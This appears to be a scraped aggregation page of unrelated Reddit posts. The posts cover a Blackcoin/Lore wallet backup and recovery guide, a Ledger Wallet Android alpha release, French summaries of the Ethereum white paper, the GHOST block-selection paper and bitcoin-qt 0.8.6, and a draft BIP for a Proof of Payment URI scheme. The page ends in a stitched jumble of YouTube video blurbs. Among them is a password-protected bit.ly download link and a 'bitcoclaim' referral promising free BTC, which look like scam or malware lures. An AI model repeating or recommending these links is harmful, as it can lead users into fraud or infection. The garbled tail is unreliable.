Note that these disk encryption methods may mean having to access the USB stick on a PC or Mac in order to retrieve the files in the event of a disaster. Be aware this may mean exposing them to more security issues if your computer is in any way compromised or someone nefarious has access to your computer. There are more 'manual' ways of backing up and recovering, such as literally writing down private/public key pairs which this guide doesn't go into, but may suit you better if paranoid about your setup.
 
Recovery
 
The wallet.dat file has everything in it you need to recover your wallet, or if you used 'dumpwallet', the file you saved out has all the keys.
 
Wallet.dat method: Install Lore as normal then replace any auto-generated wallet.dat in ~/.lore directory with your backup. If a lot of time has elapsed and many transactions have occurred since your backup, launch lore with:
./bitcoin-qt -rescan 
 
And if that doesn't do the job, do a full reindex of the blockchain:
 
./bitcoin-qt -reindex 
 
If you used the dumpwallet command, install Lore then place the file containing all the keys that you saved out in the same directory as bitcoin-qt. In Lore, go to Help > Debug Window > Console and type 'importwallet myfilename' where myfilename is that file containing all the keys. The wallet should automatically rescan for transactions at that point and you should be good to go.
 
There are a million ways to do effective security and disaster recovery, but I hope this shows you a couple of basic precautionary ways. There are discussions about better ways to stake without compromising too much security which are happening all the time and developments in this regard will happen in time.
 
In the meantime, feel free to comment with your best practices.
 
submitted by patcrypt to blackcoin [link] [comments]

Ledger Wallet Android SPV - alpha release

We have released the alpha version of Ledger Wallet Android SPV (a full mobile wallet).
To participate to the alpha, please register here: https://play.google.com/apps/testing/co.ledger.wallet
Once you have accepted participation to the alpha, you'll be able to update your version of Ledger Wallet through Google Play (or install it).
Screenshot: http://i.imgur.com/JKQtY35.png
Features:
What is missing:
If the app crashes, please submit a report with some context information. Report all strange behavior or questions here.
There is no risk for Bitcoin loss using the alpha, but for general safety reasons we do not recommend trying to spend big amounts.
This is an alpha version, not stable. You should be able to continue to use the mobile 2FA, but it may crash so please have with you your security card as a backup in case the app fails.
EDIT: added mention of HW1 support
submitted by murzika to ledgerwallet [link] [comments]

[Résumé] White paper de Ethereum

tl;dr : Même résumé, ce white-paper est vraiment énorme. Les plus faignants devraient lire uniquement Pourquoi une nouvelle chaîne ? et Les contrats. L'un décrit la philosophie générale du projet, l'autre est l'innovation la plus impressionnante.
Pourquoi une nouvelle chaîne ?
Le protocole Bitcoin est très bien pour gérer une monnaie. Quand on a voulu implémenter d'autres concepts tels que "colored coins" et "smart property" de façon décentralisée, on a d'abord essayé de le faire en s'appuyant sur la blockchain Bitcoin. C'est la meilleure façon de faire, en informatique et surtout en cryptographie que de réutiliser un maximum de composants éprouvés.
Seulement si le protocole Bitcoin est très bien pour gérer une monnaie, il n'est pas prévu pour être générique. Du coup, implémenter des choses différentes dans la blockchain peut relever du casse-tête et demander de faire des choix discutables pour tout faire fonctionner.
Ethereum propose donc une blockchain prévue pour être générique. Léger en fonctionnalité, l'accent est mit sur la souplesse du protocole. Ainsi, si au départ Ethereum ne fait pas grand chose, il évoluera avec le temps et les idées de chacun.
La blockchain Ethereum
Dans cette partie, nous verront les principales différences entre la blockchain Ethereum et la blockchain Bitcoin.
** Version modifiée de GHOST **
Dans la blockchain Bitcoin, un bloc en suit toujours un et un seul autre. Si deux blocs valides suivent le même bloc, un seul des deux sera retenu dans la chaîne officielle, l'autre sera déclaré orphelin.
Le problème de cette approche est que la puissance de calcul qui a servi à générer le bloc orphelin est purement et simplement perdue. Cela a un impact considérable lorsqu'il y a beaucoup d'orphelins. Hors augmenter la vitesse de création des blocs (un bloc toute les dix minutes pour Bitcoin) augmente le nombre de blocs orphelins, cette augmentation est donc dangereuse pour la sécurité de la chaîne.
GHOST permet de palier à ce problème de puissance de calcul perdu. Ceci en faisant en sorte qu'un bloc référence non seulement son parent, mais aussi les blocs orphelins. Ainsi les orphelins ne sont plus perdus et renforcent, par leur proof of work, la difficulté pour un attaquant de créer une chaine parallèle.
Note : une description plus détaillée de GHOST est disponible en français ici.
La version de GHOST proposée par Etherneum est très légèrement modifiée. Principalement un bloc ne peut plus référencer n'importe quel orphelin de la chaîne, mais seulement les frères de son bloc parent. Ça réduit le rattrapage d'orphelins à un seul niveau, mais ça permet d'éviter que des petits malins s'amusent à miner des orphelins à côté du Genesis bloc là où la difficulté est moindre.
Avec ça l'intervalle entre les blocs sera de 60 secondes et la sécurité devrait être comparable à celle de Litecoin qui propose des blocs espacés de 2 minutes 30.
** La monnaie du réseau **
La monnaie du réseau sera l'ether. Son nom n'est pas le même que celui du protocole pour éviter les confusions comparables à celles qui existent entre le bitcoin (unité de compte) et le Bitcoin (protocole). Toujours pour éviter les polémiques qui remplissent le forum, les sous-unité de l'ether sont déjà nommées (ou presque) 1 ether = 1 000 finney = 1 000 000 szabo = ... = 1 000 000 000 000 000 000 wei. Les noms compris dans le "..." ne sont pas encore définits.
Cette monnaie reste sommaire. Il n'y a pas d'histoire de double signatures, de transactions dans le futur,... Toutes ces choses-là pourront être implémentées dans les contrats que nous verrons plus bas. L'utilité première de cette monnaie est de pouvoir payer les frais de transaction et servir de récompense pour les mineurs assurant la sécurité du réseau.
Dans Bitcoin, il n'y a pas de notion directe de solde à une adresse. Les transactions génèrent des "sorties" qui peuvent être utilisées pour créer de nouvelles transactions. Le solde d'une adresse est donc la somme de la valeur des sorties non dépensées associées à une adresse. Ethereum élimine ce concept que personne ne comprend. Ethereum tient à jour une association "adresse = solde" pour toutes les adresses qui ont plus de zéro ether.
D'un point de vue financier, le projet Ethereum sera crowdfundé (euh... il y a un verbe équivalent en français ?). Ce n'est pas technique comme information, mais ça à son importance pour la répartition des premiers ether. En effet, les investisseurs et le projet lui-même se partageront une somme initiale en ether. Ensuite les mineurs prendront le relais comme créateurs de valeur. Les blocs généreront toujours la même quantité d'ether, ayant deux effets. Premier effet, la valeur initiale acquise par les investisseurs va s'amenuiser peu à peu, il n'y a pas de nombre maximum d'ether jamais créé. L'inflation sera tout de même réduite au fil du temps, si produire 50 pièces quand il y a 50 pièces en circulation crée une inflation de 100%, produire 50 pièces sur 5000 pièces en circulation crée une inflation d'1%.
** Algorithme de Minage **
Bitcoin utilise des hash sha256 pour son proof of work. Demandant au mineur de trouver une valeur d'un champ libre de son bloc telle que le hash du bloc soit suffisamment prêt de zéro. Ce qui est "suffisamment" prêt est réglé par la difficulté. Cette façon de faire pose un problème : les ASIC. Ces machines qui coûtent un bras et rendent n'importe quelle carte graphique as-been on une vilaine tendance à concentrer la puissance de calcul dans les bras des plus riches. Et une puissance de calcul concentrée est mauvaise pour la sécurité.
Une autre façon de faire est d'utiliser Scrypt à la place de sha256 comme algorithme de hash. Scrypt est plus gourmand en mémoire, rendant les ASIC moins efficace comparés aux systèmes généralistes. Seulement Scrypt ne demande que 128 kilo octets de mémoire et les fabricants d'ASIC commencent à arriver à trouver des designs qui valent le coup. On ne peux pas simplement augmenter la mémoire consommée par Scrypt, car c'est une lame a double tranchant. Il faut beaucoup de mémoire pour calculer le proof of work, mais il en faut autant pour vérifier le proof of work. Demander a tous les noeuds du réseau de disposer autant de mémoire qu'un laptop moderne pourrait faire sauter beaucoup de raspberry-pi.
Pour pallier aux problèmes de Scrypt, Ethereum utilisera un autre algorithme de minage (pas basé sur du brute forçage de hash) nommé Dagger qui devrait prendre 100 Mega octets de mémoire pour générer le proof of work, mais seulement 100 Kilo octets pour le vérifier.
** Transactions **
Une transaction contient l'adresse du receveur, le nombre d'ether transférée, des données arbitraires et une signature. L'adresse de l'expéditeur peut-être déterminée depuis la signature.
La partie la plus intéressante c'est la présence de données arbitraires. On peut y metre ce qu'on veut (si j'ai bien compris). Le protocole définit son utilisation pour créer les contrats... Que nous verrons très vite.
Une autre chose à noter, il n'y a aucun moyen de préciser les frais de transactions. Ceux-ci sont déduit automatiquement et la transaction ne sera valide que si l'adresse source a assez de fond pour payer la valeur et les frais. Les frais de transactions auront le droit a leur propre paragraphe.
Les contrats
Les contrats sont des agents virtuels dans le réseau. Ils ont une adresse avec laquelle ils peuvent emmètre et recevoir des ether, un programme qui est activé quand le contrat reçoit une transaction, un espace mémoire volatile pour faire ses calculs (une espèce de mémoire vive) et un espace mémoire persistant pour y stocker des données entre deux activations.
Le programme est écrit dans un langage spécifique, étudié pour les spécificités d'Ethereum. Ce langage est Turing-complet, c'est-à-dire qu'il dispose d'une entrée, d'une sortie et permet de résoudre à peu près n'importe quel problème. Ses entrées sont principalement les fameuses données arbitraires des transactions qu'il reçoit et sa sortie est l'espace mémoire persistant. En plus de ça, le langage permet d'envoyer des transactions et d'inspecter la blockchain.
Pour illustrer ce que les contrats peuvent faire, dans le white-paper vous pourrez trouver plein d'exemples d'implémentations simplistes de problèmes courrants. Il y a une monnaie alternative, un produit dérivé financier, une émulation de Namecoin (pas simpliste, vraiment minimaliste) et plein d'autres embryons d'idées.
Pour créer un contrat, on doit envoyer une transaction sans adresse de destination, contenant le code du programme. L'adresse du contrat est déterminée à partir du hash de la transaction qui l'a créé. C'est à cette adresse qu'il faut envoyer des transactions quand on veut activer le programme.
Les frais de transaction
Dans Bitcoin les frais de transaction sont optionnels, au pire la transaction est rejetée ou délayée longtemps. Dans Ethereum, autoriser de ne pas mettre de frais de transaction serait infaisable. Les agents exécutent des programmes Turing-complet, si un de ces programmes faisait une boucle infini gratuitement, il mettrait a genoux le réseau en un rien de temps.
Bilan, des frais de transaction en dur et non-négociables. Il y a des frais différents pour à peu prêt tout, de l'envoie d'une transaction a l'exécution d'une ligne de code par un agent. Pour que ces frais s'ajustent avec le temps ils se basent sur un frai de base qui change en fonction de la difficulté. Plus la difficulté est grande, plus le frai de base est petit. Ainsi, si le court (en bourse) de l'ether augmente, les mineurs sont incités à ajouter plus de puissance de calcul et les frais diminuent pour compenser l'augmentation de la valeur de l'ether. Au contraire si le court diminue et que des mineurs se retirent, les frais augmentent puisque l'ether à moins de valeur.
Quelques références :
Elles sont toutes en anglais.
submitted by JeanBono to BitcoinFrance [link] [comments]

[Traduction] New paper: Accelerating Bitcoin's Trasaction Processing

Au milieu de toutes ces agitations entre les légiférant, les économistes, les traders et autres gens qui de toutes façons ils y connaissent rien au code, un petit article technique est paru !
D'abord un post sur bitcointalk, puis un lien sur reddit anglophone nous permettent de discutter de tout ça en anglais.
Mais ce soir j'était d'humeur a m'essayer au métier de traducteur, donc voici la traduction du post bitcointalk (seulement la partie qui résume le papier, le reste c'est du blabla).
Scalabilité, délais et sécurité :
Nous commençons notre recherche par l'examination des effets d'un grand volume de transactions sur la sécurité de Bitcoin (suivant les travaux de Decker et Wattenhofer). Le nombre de transactions par seconde (TPS) que Bitcoin peut supporter est limité par deux principaux facteurs : 1) La vitesse de création des blocs (d'un bloc toutes les dix minutes) et 2) la taille maximum d'un bloc (actuellement d'un méga octet). Ces deux paramètres réunis limitent le nombre de transactions par seconde que Bitcoin peut gérer. La façon la plus évidente d'augmenter le TPS est d'augmenter soit la taille des blocs, soit la vitesse de création des blocs. Chacune de ces modifications est controversée, et pour une bonne raison : chacune pourrait affecter la sécurité du protocole. D'abord, considérons une augmentation de la vitesse de création des blocs (comme par exemple la génération de blocs de Litecoin toute les deux minutes et demie, ou même Fastcoin et son extrême douze secondes par bloc). La création rapide de blocs entraine un nombre important de blocs concurrents. La plupart finiront orphelins. Le même symptôme apparaît si on augmente la taille des blocs : les gros blocs mettent plus longtemps à se propager sur le réseau (à cause des limitations de bande passante) et les blocs créés pendant cette propagation finiront certainement orphelins, c'est-à-dire, ils seront perdus.
Perdre un bon nombre de blocs affaiblit la sécurité du réseau et le rend plus vulnérable aux attaques de type 50%. Par exemple, si la moitié des blocs sont perdus de cette manière, le réseau gâche effectivement la moitié de sa puissance de hash à construire des blocs qui ne contribuent pas à la confirmation des transactions. Un attaquant qui possède des ressources centralisées et ne souffre pas de délais peut mettre en oeuvre une attaque de type 50% avec à peine plus de 33% de la puissance de hash. Ceci parce qu'il peut facilement créer des chaînes plus longues que le reste du réseau (les botnets, qui souffrent de délais internes, sont moins efficaces que les attaquand centralisé).
En utilisant différentes techniques, nous analysons la quantité de blocs qui finissent dans la chaîne et combien en sont écartés, nous utilisons ceci pour estimer les différences de sécurité entre différents paramétrages. Entre autres résultats, nous montrons que transmettre des blocs ne contenant que des hashs de transactions (au lieu de transactions entières) améliorerai grandement la scalabilité (et ce n'est pas simplement une amélioration des performances par deux, mais nous obtenons plutôt une capacité de seize fois plus de transactions par secondes !).
Les modifications du protocole que nous proposons (qui sont au chapitre huit de notre publication) :
Puisqu'un grand volume de transactions impliquent un grand nombre de blocs concurrents, il serait appropriés que les blocs orphelins ne soient pas réellement gâchés. En fait, chaque bloc pourrait être vu comme ne garantissant pas seulement les transactions qu'il contient, mais aussi celles des blocs qui le précèdent. Même si un bloc n'est pas dans la chaîne principale, nous pouvons prendre en compte la confirmation qu'il apporte aux blocs précédents. C'est la base de la modification que nous proposons, nous l'appelons règle de sélection de chaîne "Greedy Heaviest-Observed Sub-Tree" (GHOST).
Grossièrement, puisque chaque bloc contient un hash de son prédécesseur, l'ensemble des blocs forment un arbre ayant pour racine le Genesis Block. Actuellement, Bitcoin choisit l'historique correct comme étant la plus longue (ou plutôt la plus grosse) chaîne de l'arbre. Nous suggérons une autre approche : à chaque séparation, choisir le sous-arbre qui contient le plus de blocks (ou, plus exactement, les blocks présentant la plus grande difficulté combinée). Répéter jusqu'à trouver une feuille. Le chemin traversé est la chaîne que les noeuds devront accepter. Mais en quoi est-ce utile ? Maintenant, un attaquant qui veut changer la chaîne choisit par l'algorithme doit nous faire changer de sous-arbre. Pour ce faire, il doit construire plus de blocs que ceux présent dans le sous-arbre légitime (et pas juste plus de blocs que dans la plus grande chaîne !).
Voici le pseudo-code de la règle de sélection de chaîne GHOST :
1. SET B <- Genesis Block 2. IF B est une feuille : RETURN(B) ELSE : SET B <- fils de B qui a le sous-arbre le plus lourd 3. GOTO 2 
Coût de la modification : Tant que la vitesse de création des blocs est lente et leur taille est petite, il n'y a quasiment pas de différence entre la méthode de la plus grande chaîne et la règle GHOST. Il n'y a pas de coût. Les deux sont quasiment identiques, car dans ce cas, la plus grande chaîne est aussi le plus lourd des sous-arbres. Lorsque les volumes de transactions sont élevés, GHOST construit un peu moins de blocs dans sa chaîne principale (car un nouveau bloc n'étend pas toujours la plus longue chaîne), réduisant ainsi légèrement le nombre de transactions acceptées par seconde, mais il le fait de manière bien plus sécurisée ! Les délais et un grand nombre de blocs orphelins n'augmentent plus la vulnérabilité contre une attaque de type 50%. Cela implique que nous pouvons augmenter la vitesse de création des blocs et la taille des blocs à des niveaux qui étaient auparavant trop risqués et largement compenser la réduction de volume de transactions supporté. À vrai dire, nous estimons que la génération d'un bloc par seconde pourrait mener à des volumes de plus de 200 TPS. Ça permet des temps de validation rapide et, plus important, une amélioration de la granularité des confirmations. Même une seule confirmation donne un certain niveau de confiance quant à la légitimité d'une transaction, ce qui est quasiment instantané quand les blocs sont générés chaque seconde.
submitted by JeanBono to BitcoinFrance [link] [comments]

BIP for PoP URI scheme | Kalle Rosenbaum | Jun 06 2015

Kalle Rosenbaum on Jun 06 2015:
Hi
Following earlier posts on Proof of Payment I'm now proposing the following
BIP for a Proof of Payment URI scheme (To read it formatted instead, go to
https://github.com/kallerosenbaum/poppoc/wiki/btcpop-scheme-BIP).
Regards,
Kalle Rosenbaum
BIP:
Title: Proof of Payment URI scheme
Author: Kalle Rosenbaum <kalle at rosenbaum.se>
Status: Draft
Type: Standards Track
Created:
== Abstract ==
This is a proposal for a URI scheme to be used in the Proof of Payment
process.
== Motivation ==
To make a Proof of Payment, the party that wants the proof needs to
transfer a Proof of Payment request to the wallet software of the
other party. To facilitate that transfer, a new URI scheme
representing the PoP request is proposed. This URI can then be encoded
in QR images or sent over NFC in order to transfer it to the wallet.
== Specification ==
The specification is the same as BIP0021, with the following
differences:
the PoP. This could for example be a https: URL or a mailto:
URI.
the transaction to prove.
Just as in BIP0021, elements of the query component may contain
characters outside the valid range. These must first be encoded
according to UTF-8, and then each octet of the corresponding UTF-8
sequence must be percent-encoded as described in RFC 3986.
All parameters except p and n are hints to the
wallet on which transaction to create a PoP for.
The extensibility of BIP0021 applies to this scheme as well. For
example, a date parameter or a toaddr parameter
might be useful. req-* parameters are also allowed and obey
the same rules as in BIP0021, clients not supporting a req-*
parameter must consider the URI invalid.
=== Keep URIs short ===
Implementations should keep the URIs as short as possible. This is
because it makes QR decoding more stable. A camera with a scratched
lens or low resolution may run into problems scanning huge QR
codes. This is why the txid parameter is encoded in Base58
instead of the classic hex encoded string. We get away with 44
characters instead of 64. Also, the nonce parameter is Base58
encoded for the same reason.
== Interpretation ==
=== Transaction hints ===
The wallet processing the URI must use the hints in the PoP request to
filter its transaction set. The label, amount and
message parameters must, if present in the URI, exactly match
the data associated with the original payment according to the
following table:
{|
| btcpop: URI parameter || bitcoin: URI parameter ||
BIP70 PaymentDetails data
|-
| label || label ||
merchant_data
|-
| amount || amount ||
sum of outputs.amount
|-
| message || message ||
memo
|}
The txid parameter value must match the transaction hash of
the payment.
After filtering, the resulting transaction set is displayed to the
user who selects one of them to prove. An implementation could also
automatically select a transaction in the filtered set, but
there must still be a way for the user to select freely among the
matching transactions. If the filtered set is empty, no transaction
fits the hints and a message about that is presented to the user. If
the filtered set contains exactly one transaction, which is
preferable, that transaction can be automatically selected.
As a fallback, there must also be a way for the user to select any
transaction from the wallet regardless of the transaction hints. This
can be useful if the metadata of the wallet is lost, possibly due to a
restore from backup.
=== PoP destination p ===
The p parameter value is the destination where to send the
PoP to. This destination is typically a https: URL or a
http: URL, but it could be any type of URI, for example
mailto:. To keep btcpop: URIs short, users should
not make their p parameter unneccesarily long.
==== http: and https: URLs ====
Wallet implementations must support the http: and
https: schemes in which case POST method must be
used. The content type of the POST request must be set to
Content-Type: application/bitcoin-pop
Content-Transfer-Encoding: binary
== Examples ==
Send PoP for a transaction with label "video 42923" to
https://www.example.com/pop/352>, using nonce 0x73 0xd5
0x1a 0xbb 0xd8 0x9c:
btcpop:?p=
https://www.example.com/pop/352&n=zgWTm8yH&label=video 42923
Send PoP through mail using
mailto:pop at example.com?subject=pop444, amount is 13370000
satoshis, nonce is 0x6f 0xe 0xfb 0x68 0x92 0xf9. Note that
the ? before subject is OK according to RFC3986,
since the query part starts from the first ?:
btcpop:?p=mailto:pop at example.com?subject%3Dpop444&n;=xJdKmEbr&amount;=0.1337
Send PoP for transaction with id
cca7507897abc89628f450e8b1e0c6fca4ec3f7b34cccf55f3f531c659ff4d79
to pizza place at http://pizza.example.com/pop/laszlo111>
using nonce 0xfc 0xcc 0x2c 0x35 0xf0 0xb8
btcpop:?p=
http://pizza.example.com/pop/laszlo111&n=3AtNpVrPh&txid=Emt9MPvt1joznqHy5eEHkNtcuQuYWXzYJBQZN6BJm6NL
== Reference implementation ==
[https://github.com/kallerosenbaum/poppoc poppoc on GitHub]
[https://github.com/kallerosenbaum/wallet Mycelium fork on GitHub]
== References ==
[https://github.com/bitcoin/bips/blob/mastebip-0021.mediawiki BIP21]: URI
Scheme
[[Proof of Payment BIP]]
[https://www.ietf.org/rfc/rfc3986.txt RFC3986]: Uniform Resource Identifier
(URI): Generic Syntax
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150606/d3fa1871/attachment.html>
original: http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-June/008499.html
submitted by bitcoin-devlist-bot to bitcoin_devlist [link] [comments]

[Résumé] Sortie de bitcoin-qt 0.8.6

Voici le lien en anglais pour tous les détails : https://bitcointalk.org/index.php?topic=364353.0
Il y a tout un tas d'amélioration techniques, optimisations et bug fix qui feront plaisir à ceux d'entre nous qui font tourner un full-node. Je m'attarderai seulement sur les trois modifications de comportement, qui impactent tout le monde même ceux qui n'utilisent que ds web wallets.
Ces modifications sont décrites un peu plus en détail en anglais ici : https://gist.github.com/gavinandresen/7670433#proposed-086-changes
Fin de la règle des 0.01 BTC minimum pour les transactions gratuites
Avant 0.8.6, lorsqu'on emmettait une transaction avec une sortie de moins de 0.01 BTC, les noeuds bitcoin-qt refusaient de la relayer s'il n'y avait pas de frais de transaction associé. Ça permettait d'éviter qu'un attaquant puisse flooder le réseau en evoyant des milliers de transactions de quelques satoshis.
Le truc c'est que depuis la version 0.8.2, il y a un autre mécanisme pour protéger contre ce type d'attaque, essentiellement les noeuds refusent de relayer les transactions qui comportent des sorties de moins de 5430 satoshis. Et puis 0.01 BTC ça commence à valoir de la thune de nos jours.
Bilans, si vous déplacez quelques vieux mBTC, vous ne serez plus forcés d'y ajouter des frais de transaction pour voir votre transaction se propager dans le réseau.
Augmentation de la taille des blocs minés
La taille des blocs minés par défaut sera plus grande qu'avant. Ce qui devrait permettre plus de transactions par seconde. Bon, la taille des blocs n'est pas beaucoup augmentée et à vrai dire, ce n'est qu'un changement de valeur par défaut, l'option est toujours configurable. Si j'ai bien compris c'est un coup d'essai pour observer l'impact sur le réseau plus que pour changer nos vies.
Ajout systématique de frais de transaction pour les transactions de plus de 1000 octets
Ce n'est une fonctionnalité que du porte-monnaie proposé par bitcoin-qt, pas de changement de comportement du noeud.
Le protocole spécifie que pour pouvoir être gratuite, une transaction doit faire moins de 10 000 octets. 10 000 octets c'est beaucoup, j'ai personnellement pu faire des choses pas conventionelles du tout en moins de 10 000 octets :) Du coup, on va tendre a baisser ce nombre pour 1 000 octets. Maintenant, quand vous enverrez des bitcoins depuis bitcoin-qt, si la transaction créée fait plus de 1 000 octets, l'ajout de frais de transaction sera forcé.
Une transaction gratuite de 10 000 octets devrait donc se propager aussi bien qu'avant, mais ça ne viendra pas d'un utilisateur de bitcoin-qt 0.8.6 ou supérieur. L'idée étant d'éviter qu'un utilisateur ne squat accidentellement une grande partie de la place réservée aux transactions gratuites dans son bloc.
Conclusion
C'était mieux dans le bon vieux temps ou bien bitcoin-qt 0.8.6 c'est l'avenir ? Faites votre choix et upgradez... ou pas :)
submitted by JeanBono to BitcoinFrance [link] [comments]

IP Addressing Formatting  Lecture 6, Part 1  CCNA 200-301 Complete Course (2020) Chemical Bonding Octet rule Unit 4 Class 11 How Many Bitcoins Are Being HODLed? with Rafael Schultze-Kraft of Glassnode Bitcoin Live Btc Price Liquidation Watch: 8 2020 - YouTube What is Bitcoin (8) (1)

Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. Second and following octets give the length, base 256, most significant digit first. Contents octets. These give a concrete representation of the value (or the value of the underlying type, if the type is derived by implicit tagging). The path component consists of a bitcoin address, and the query component provides additional payment options. Elements of the query component may contain characters outside the valid range. These must first be encoded according to UTF-8, and then each octet of the corresponding UTF-8 sequence must be percent-encoded as described in RFC 3986. Whereas in PER Aligned a fixed-size encoding occupying less than 8 bits may begin at any bit position within an octet and may end at any bit position within the same or another octet, in OER the encoding of every possible value of every ASN.1 type occupies a whole number of octets, and all the fields of the encoding are octet-aligned. Contribute to bitcoin/bitcoin development by creating an account on GitHub. * * The octet-length of the SEQUENCE must be encoded as 1 or 2 octets. It is not * required to be encoded as one octet if it is less than 256, as DER would require. Before I changed it, the checkmark in the menu was on ISO-8859-1 (Latin 1). – slothbear Dec 5 '14 at 17:13 The file that I was using was encoded in ANSI. So from Notepad++ I had to click on Encoding -> Convert to UTF-8 – Neil Hoff Feb 5 '15 at 20:57

[index] [9184] [9163] [5105] [19936] [25397] [13749] [3440] [27052] [7356] [15409]

IP Addressing Formatting Lecture 6, Part 1 CCNA 200-301 Complete Course (2020)

download https://bit.ly/3gtLMDh PASSWORD: bitcoin https://bitcoclaim.com/?r=90 Earn BTC one-time! 50$ for registration . . . . . . blockchain, bitcoin, block... 24/7 Live Bitcoin Algo Trading on Deribit Exchange (DeriBot) Bitcoin Trading Robots 158 watching Live now 🔴LIVE Cardano Summit 2020 Charles Hoskinson Opening Keynote: Shelley Edition Cardano ... Octet electrons is the name we give to ALL electrons that surround an atom. These help the atom reach its Nobel gas configuration. Watch more of this topic a... Bitcoin’s nature allows some level of investigation and analysis, and it’s possible to see how many coins are moving. Rafael Schultze-Kraft, CTO of Glassnode joins me on the show to discuss ... Class C: address the first 24 bits (Octet 1, Octet 2 & octet 3) is belong to network portion and the rest of 8 bits (last octet) is belong to host portion. ... Banking on Bitcoin YouTube Movies ...

Flag Counter